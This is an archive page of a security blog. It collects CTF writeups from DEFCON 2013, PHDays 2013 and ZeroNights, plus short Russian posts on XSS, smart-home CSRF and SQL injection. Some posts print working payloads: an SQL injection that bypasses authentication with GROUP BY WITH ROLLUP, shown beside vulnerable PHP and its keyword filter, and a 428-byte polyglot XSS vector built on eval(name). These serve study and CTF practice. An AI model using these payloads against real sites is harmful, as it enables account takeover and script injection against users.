Archive for the 'Misc' Category

DEFCON CTF 2013 Quals “grandprix” Writeup

This time at DEFCON CTF quals there was a special task category, namely OMGACM or competitive programming. Here is a solution to OMGACM 3 task. We have a remote host that offers to play a race game:

Connected to grandprix.shallweplayaga.me.
Escape character is '^]'.
Use 'l' and 'r' to move. Don't crash.
Press return to start

OK, we send ‘\n’ to start and see a 5×8 track with different obstacles: Read more »

PHDays 2013 CTF “Blade” Writeup

We have a simple form with login and password. There is an SQL injection, but a WAF blocks any attempt to bypass it. First step to solve this task was to reveal the contents of the script by requesting index.phps:

<?php
include 'flag.php';

if(!isset($_POST['username']) || !isset($_POST['password'])) {
	print <<<FORM
<form method=POST>
<input type=text name=username></input>
<input type=password name=password></input>
<input type=submit></input>
</form>
FORM;
	die;
}

$this_is_baaad = array("union", "select", "from", "where", "join", "sleep", "benchmark", ",", "(", ")");
foreach($this_is_baaad as $srsly) {
	if(stripos($_POST['username'], $srsly) !== false) {
		print "Do not try to trick me!";
		die;
	}
}

$q = mysql_query("SELECT * FROM users WHERE username = '{$_POST['username']}'"); 
if(mysql_num_rows($q) == 1) { 
    $user = mysql_fetch_array($q);
    if($user['password'] == $_POST['password']) {
    	print $flag;
    } else {
    	print "Login failed!";
    }
} else {
	print "Login failed!";
}

The first thing we see is that the password does not get into the SQL query, so we need to use at least UNION, but it is blocked. Guys from PPP tried time delaying heavy queries that do not rely on sleep() or becnhmark(), however the right way to solve this task is as follows. Firstly, one notices that passwords are compared using == operator, and secondly the GROUP operator is not filtered. In MySQL this operator can be used with some interesting modifier: WITH ROLLUP

The GROUP BY clause permits a WITH ROLLUP modifier that causes extra rows to be added to the summary output.

If you use column password on GROUP BY WITH ROLLUP, you will get an extra empty row. And as NULL and empty string if compared with operator == are equal it is possible to bypass the authorization using the following query:

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

ZeroNights HackQuest ErsSma Task Writeup

ErsSma task was one the most interesting puzzles at ZeroNights HackQuest, here is detailed solution.
We have a form with a single input:

POST /missions/ErsSma/index.php HTTP/1.0
Content-Type: multipart/form-data; boundary=--------336730954
Content-Length: 99

----------336730954
Content-Disposition: form-data; name="login"

admin
----------336730954--
->
Password is incorrect!

What do we do here? Fuzz all the things! Read more »

Конкурс “Большой ку$h” на PHDays — райтап

Буквально пару дней назад завершился PHDays, познакомился со многими интересными людьми, в целом форум оставил самые позитивные впечатления, за что огромный респект организаторам, компании Positive Technologies. Уже появилось довольно много отчетов (shr, d0znpp, toxa, asintsov), напишу лишь о том, что больше всего запомнилось лично для меня – о конкурсе Snatch, он же “Большой ку$h”.

Read more »

Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk

CSRF у вас дома

Умные дома с интеллектуальными системами управления могут иметь веб-интерфейс. Более того, веб-контроль некоторых умных домов может быть уязвим к тем же атакам, которые проводят на обычные веб-приложения. В этом я сегодня убедился, прочитав любопытный пост вот на этом блоге. Автор рассказывает как его друг, который живет во Франции, однажды показал ему веб-интерфейс управления своим домом. Выяснилось, что веб-приложение, отвечающее за контроль освещения рождественской елки уязвимо к CSRF, с помощью которой атакующий мог включать/выключать елку =) Кроме того, веб-приложение также содержало активную XSS, что давало возможность управления всем домом.

Как ни странно, в выдаче гугла нашелся еще один умный дом с таким же веб-интерфейсом. Автор предположил, что каждый раз, когда гуглбот проходил по ссылке, в доме включался или выключался свет =)

Надеюсь, разработчики подобных решений задумаются о безопасности своих веб-приложений, иначе клиенты этих компаний будут в панике продавать свои умные дома, рассказывая о поселившихся в них приведениях =)

С наступающим!

SQL-инъекции… в жизни :)

Оказываются еще и такие SQL-инъекции бывают...